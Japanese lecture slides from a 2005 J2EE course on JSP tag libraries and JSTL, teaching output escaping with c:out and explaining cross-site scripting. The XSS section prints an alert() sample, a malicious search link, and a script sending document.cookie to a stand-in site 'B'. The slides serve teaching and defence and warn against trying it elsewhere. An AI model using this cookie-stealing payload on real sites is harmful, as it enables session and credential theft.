タグライブラリとJSP J2EE I 第10回 / 2005-01-15 1 ここでの内容 タグライブラリの使い方、特にJSTLについ て学ぶ。 クロスサイトスクリプティングについて学ぶ。 2 カスタムタグ JSPの中で定義できる独自のタグ。 スクリプトレットを使って記述するところをタ グで表現できる。 カスタムタグを、見通しのよいJSPを作成で きる。 3 タグライブラリ 複数のカスタムタグをまとめてひとつの パッケージにしたものを「タグライブラリ」と 言う。 タグライブラリの構成 タグの処理を記述する Java のプログラム (通 常は Jar ファイルで提供される) タグに関する情報を持つ Tag Library Descriptor (TLD) 4 さまざまなタグライブラリ 既製のタグライブラリがいくつかある。 JavaServer Pages Standard Tag Library (JSTL) 値の設定・制御構造 データベースへのアクセス、国際化、XMLの解析など Jakarta Taglibs JSF のタグライブラリ などなど 5 HTML中の特殊文字の扱い HTMLでは “<“, “>”, “&” といった文字は 特別な意味を持つので、実態参照で表す。 文字 < > & 実態参照 < > & 6 JSTLによるタグのエンコード (1) フォームから入力した 文字列を出力するサ ンプル c:out を使うと、“<” や “>” や “&” といっ た文字をエンコードす る(実態参照で表す)。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> <p> c:out を使った場合: <c:out value="${param.title}" /> </p> 7 JSTLによるタグのエンコード (2) 入力文字列 c:out を使った場合 <m>wakhok</m> <m>wakhok</m> タグがエンコードされるので、”<“ や “>” はタグでは なくただの文字ということになる。 c:out を使わない場合 wakhok “m” というタグが使われたことになる。 8 クロスサイトスクリプティング (1) フォームから入力されたタグが そのまま出力される ↓ 入力された文字が JavaScript だった場合 ↓ JavaScript が実行されてしまう! 9 クロスサイトスクリプティング (2) 実例 <script>alert(“アホですか?”);</script> ↓ 警告画面が表示されてしまう 10 クロスサイトスクリプティング (3) cookie が盗まれる例 (1) ショッピングサイト “WAK” とその利用者が狙わ れる例 “WAK” の商品検索システムは、タグをエンコード しない。つまりクロスサイトスクリプティングを引き 起こしてしまうようになっている。 “WAK” では、商品を購入するときに使うユーザ 名とパスワードを cookie に保存している。 11 クロスサイトスクリプティング (4) cookie が盗まれる例 (2) ここで、怪しいサイト“A”が登場する。 “A” には、“WAK” へのリンクが貼られてい る。 その内容は WAK の Cookie を取得して、その Cookie を 別のサイト “B” の getCookie.jsp に渡す JavaScript 12 クロスサイトスクリプティング (5) cookie が盗まれる例 (3) リンクの内容 <a href= “http://wak/search.jsp?p=(JavaScriptのタグ)”> Hなサイト </a> 13 クロスサイトスクリプティング (6) cookie が盗まれる例 (4) JavaScript の内容 <script> s = document.cookie; location.href = “http://B/getCookie.jsp?c=“+s; </script> 14 クロスサイトスクリプティング (7) cookie が盗まれる例 (5) “WAK” の利用者が サイト “A” へのリンク をうっかり押してしまった場合 リンク先の “WAK” のサイトが表示されると き、同時に JavaScript を実行されて Cookie を盗まれる ユーザ名とパスワードを盗られたので、あ とはやられ放題。 15 JSTLによるタグのエンコード (3) タグの入力を許可してしまうと、クロスサイ トスクリプティングを引き起こすことが考え られる。 タグの入力を許可しない方がよい。 こうした処理をタグライブラリを使わずに書 くには、スクリプトレットを使う必要がある。 16 警告 これまで述べた手順を外のサイトで試さな いように。 「不正アクセス禁止法」に抵触するおそれ がある。 17 タグライブラリを使う 利用するタグライブラリと、その接頭辞を指定 <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 18 式言語 (Expression Language) ${var} ${param.title} ${book.author} 変数 var フォームから入力され たデータ "title" の値 book という Bean の author プロパティ 19 制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul> 20 JSTL の Tomcat への配置 JSTL の配布パッケージの lib フォルダに 含まれている次の2つのjarファイルを WEB-INF/lib フォルダにコピーする。 jstl.jar standard.jar 21 参考文献・URL タグライブラリ関連 JavaServer Pages Standard Tag Library http://java.sun.com/products/jsp/jstl/index.jsp Jakarta Taglibs http://jakarta.apache.org/taglibs/index.html 22 参考文献・URL クロスサイトスクリプティング (1) セキュアプログラミング講座 独立行政法人情報処理推進機構が提供している、安全なプログラミン グをするための講座。1-2 がクロスサイトスクリプティングの解説とその 対策になっている。 http://www.ipa.go.jp/security/awareness/vendor/programming/ind ex.html クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱 さの実体とその対策 高木 浩光,関口 智嗣,大蒔 和仁 高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについ てわかりやすく記述されている。 この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリ プティングの対策は十分にとられている(はずだ)が、この内容の重要性 は変わっていない。 http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf 23 参考文献・URL クロスサイトスクリプティング (2) 安全なWebアプリ開発40箇条の鉄則 産業技術総合研究所の高木浩光氏のスライド。 安全なWebアプリケーション構築のためのポ イントがコンパクトにまとめられている。必読。 http://java-house.jp/~takagi/paper/idgjwd2003-takagi-dist.pdf 24
© Copyright 2024 ExpyDoc